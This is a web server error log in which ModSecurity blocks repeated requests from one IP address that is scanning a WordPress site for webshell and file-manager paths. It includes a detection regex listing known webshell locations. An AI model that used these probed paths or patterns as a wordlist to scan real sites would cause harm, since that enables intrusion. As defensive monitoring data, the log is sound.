[Thu Apr 16 23:01:21.470348 2026] [:error] [pid 49094:tid 49097] [client 20.203.186.201:40511] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aeD5wTbDwvcXorHR_Mwf2gAAAUE"]
[Thu Apr 16 23:01:21.946914 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:41473] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD5waMCQoTw7TsxWun_2gAAAMY"]
[Thu Apr 16 23:01:22.449689 2026] [:error] [pid 57536:tid 57549] [client 20.203.186.201:21563] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD5wiQU4faGja6jpDut-QAAAAE"]
[Thu Apr 16 23:01:23.007195 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:62023] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD5wzbDwvcXorHR_Mwf4QAAAVU"]
[Thu Apr 16 23:01:23.480546 2026] [:error] [pid 49094:tid 49104] [client 20.203.186.201:41506] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD5wzbDwvcXorHR_Mwf5AAAAUg"]
[Thu Apr 16 23:01:24.066170 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:46977] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeD5xDbDwvcXorHR_Mwf6wAAAUw"]
[Thu Apr 16 23:01:24.571133 2026] [:error] [pid 57639:tid 57660] [client 20.203.186.201:41524] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeD5xKMCQoTw7TsxWun_3wAAAM4"]
[Thu Apr 16 23:01:25.064785 2026] [:error] [pid 7880:tid 7906] [client 20.203.186.201:21535] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeD5xaaezm4fSGc0yULQHwAAAZU"]
[Thu Apr 16 23:01:25.580735 2026] [:error] [pid 49094:tid 49113] [client 20.203.186.201:25748] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeD5xTbDwvcXorHR_Mwf9wAAAVE"]
[Thu Apr 16 23:01:26.165643 2026] [:error] [pid 57538:tid 57609] [client 20.203.186.201:60995] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "aeD5xsuMaiEF5SVR2Bf8awAAAIc"]
[Thu Apr 16 23:01:26.716414 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:61018] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "aeD5xqMCQoTw7TsxWun_5AAAAMQ"]
[Thu Apr 16 23:01:39.605816 2026] [:error] [pid 49094:tid 49118] [client 20.203.186.201:25732] [client 20.203.186.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aeD50zbDwvcXorHR_MwgYAAAAVY"]
[Thu Apr 16 23:01:44.329423 2026] [autoindex:error] [pid 57639:tid 57663] [client 20.203.186.201:62017] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 23:01:47.707906 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:62017] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeD526MCQoTw7TsxWukAsQAAAME"]
[Thu Apr 16 23:01:48.178572 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:27158] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeD53KMCQoTw7TsxWukAtAAAAM0"]
[Thu Apr 16 23:01:48.764455 2026] [:error] [pid 49094:tid 49118] [client 20.203.186.201:46973] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeD53DbDwvcXorHR_MwgjQAAAVY"]
[Thu Apr 16 23:01:49.283922 2026] [:error] [pid 57536:tid 57558] [client 20.203.186.201:27167] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeD53SQU4faGja6jpDuuKQAAAAo"]
[Thu Apr 16 23:01:49.822763 2026] [:error] [pid 7880:tid 7905] [client 20.203.186.201:46925] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeD53aaezm4fSGc0yULQPwAAAZQ"]
[Thu Apr 16 23:01:50.293565 2026] [:error] [pid 57639:tid 57660] [client 20.203.186.201:35450] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeD53qMCQoTw7TsxWukAvwAAAM4"]
[Thu Apr 16 23:01:50.795974 2026] [:error] [pid 57536:tid 57548] [client 20.203.186.201:61025] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeD53iQU4faGja6jpDuuLQAAAAA"]
[Thu Apr 16 23:01:51.335921 2026] [:error] [pid 57536:tid 57562] [client 20.203.186.201:20909] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeD53yQU4faGja6jpDuuLwAAAA4"]
[Thu Apr 16 23:01:51.835646 2026] [:error] [pid 57538:tid 57623] [client 20.203.186.201:62019] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeD538uMaiEF5SVR2Bf8gwAAAJU"]
[Thu Apr 16 23:01:52.335340 2026] [:error] [pid 7880:tid 7907] [client 20.203.186.201:47008] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeD54Kaezm4fSGc0yULQQgAAAZY"]
[Thu Apr 16 23:01:52.898522 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:21528] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeD54KMCQoTw7TsxWukAxwAAAMA"]
[Thu Apr 16 23:01:53.399539 2026] [:error] [pid 29603:tid 29617] [client 20.203.186.201:40505] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeD54VfGOR6fpTWUAzq1JgAAAQw"]
[Thu Apr 16 23:01:54.025798 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:62038] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeD54qMCQoTw7TsxWukAzQAAAMw"]
[Thu Apr 16 23:01:54.532668 2026] [:error] [pid 57538:tid 57608] [client 20.203.186.201:41479] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeD54suMaiEF5SVR2Bf8hgAAAIY"]
[Thu Apr 16 23:01:55.076974 2026] [:error] [pid 29603:tid 29618] [client 20.203.186.201:40467] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeD541fGOR6fpTWUAzq1MAAAAQ0"]
[Thu Apr 16 23:01:55.562822 2026] [:error] [pid 7880:tid 7892] [client 20.203.186.201:16898] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeD546aezm4fSGc0yULQRwAAAYc"]
[Thu Apr 16 23:01:56.065388 2026] [:error] [pid 29603:tid 29614] [client 20.203.186.201:35882] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aeD55FfGOR6fpTWUAzq1NQAAAQk"]
[Thu Apr 16 23:01:56.663772 2026] [:error] [pid 57538:tid 57609] [client 20.203.186.201:27136] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aeD55MuMaiEF5SVR2Bf8iQAAAIc"]
[Thu Apr 16 23:01:57.204634 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:41530] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aeD55TbDwvcXorHR_MwgnwAAAUs"]
[Thu Apr 16 23:01:57.725333 2026] [:error] [pid 7880:tid 7903] [client 20.203.186.201:16910] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aeD55aaezm4fSGc0yULQTAAAAZI"]
[Thu Apr 16 23:01:58.240695 2026] [:error] [pid 57538:tid 57624] [client 20.203.186.201:61044] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aeD55suMaiEF5SVR2Bf8jQAAAJY"]
[Thu Apr 16 23:01:58.789344 2026] [:error] [pid 57536:tid 57559] [client 20.203.186.201:46955] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aeD55iQU4faGja6jpDuuPgAAAAs"]
[Thu Apr 16 23:01:59.329810 2026] [:error] [pid 7880:tid 7906] [client 20.203.186.201:40451] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aeD556aezm4fSGc0yULQUQAAAZU"]
[Thu Apr 16 23:01:59.895526 2026] [:error] [pid 57538:tid 57616] [client 20.203.186.201:61003] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aeD558uMaiEF5SVR2Bf8kAAAAI4"]
[Thu Apr 16 23:02:00.380869 2026] [:error] [pid 57536:tid 57566] [client 20.203.186.201:40462] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD56CQU4faGja6jpDuuRQAAABI"]
[Thu Apr 16 23:02:00.870785 2026] [:error] [pid 57639:tid 57663] [client 20.203.186.201:46937] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD56KMCQoTw7TsxWukA2QAAANE"]
[Thu Apr 16 23:02:01.400464 2026] [:error] [pid 57536:tid 57562] [client 20.203.186.201:46958] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD56SQU4faGja6jpDuuSQAAAA4"]
[Thu Apr 16 23:02:01.907047 2026] [:error] [pid 57536:tid 57559] [client 20.203.186.201:27194] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD56SQU4faGja6jpDuuSgAAAAs"]
[Thu Apr 16 23:02:02.484956 2026] [:error] [pid 49094:tid 49100] [client 20.203.186.201:46950] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aeD56jbDwvcXorHR_MwgqwAAAUQ"]
[Thu Apr 16 23:02:03.020245 2026] [:error] [pid 7880:tid 7897] [client 20.203.186.201:60994] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aeD566aezm4fSGc0yULQVQAAAYw"]
[Thu Apr 16 23:02:03.575007 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:62034] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aeD56zbDwvcXorHR_MwgsQAAAUs"]
[Thu Apr 16 23:02:04.079671 2026] [:error] [pid 49094:tid 49120] [client 20.203.186.201:62028] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aeD57DbDwvcXorHR_MwgtQAAAVg"]
[Thu Apr 16 23:02:04.587362 2026] [:error] [pid 7880:tid 7898] [client 20.203.186.201:40491] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeD57Kaezm4fSGc0yULQWAAAAY0"]
[Thu Apr 16 23:02:05.182484 2026] [:error] [pid 57538:tid 57613] [client 20.203.186.201:46966] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeD57cuMaiEF5SVR2Bf8lAAAAIs"]
[Thu Apr 16 23:02:05.774923 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:46939] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeD57aMCQoTw7TsxWukA4QAAANI"]
[Thu Apr 16 23:02:06.258568 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:20869] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeD57qMCQoTw7TsxWukA5gAAAMQ"]
[Thu Apr 16 23:02:06.870985 2026] [:error] [pid 57639:tid 57667] [client 20.203.186.201:35884] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aeD57qMCQoTw7TsxWukA8QAAANU"]
[Thu Apr 16 23:02:07.405316 2026] [:error] [pid 57639:tid 57665] [client 20.203.186.201:27155] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aeD576MCQoTw7TsxWukA_wAAANM"]
[Thu Apr 16 23:02:07.939472 2026] [:error] [pid 49094:tid 49115] [client 20.203.186.201:35870] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aeD57zbDwvcXorHR_MwgvwAAAVM"]
[Thu Apr 16 23:02:08.509916 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:62076] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aeD58KMCQoTw7TsxWukBFgAAANg"]
[Thu Apr 16 23:02:09.098460 2026] [:error] [pid 57639:tid 57663] [client 20.203.186.201:27192] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "aeD58aMCQoTw7TsxWukBJAAAANE"]
[Thu Apr 16 23:02:09.615951 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:16943] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "aeD58aMCQoTw7TsxWukBLQAAAMQ"]
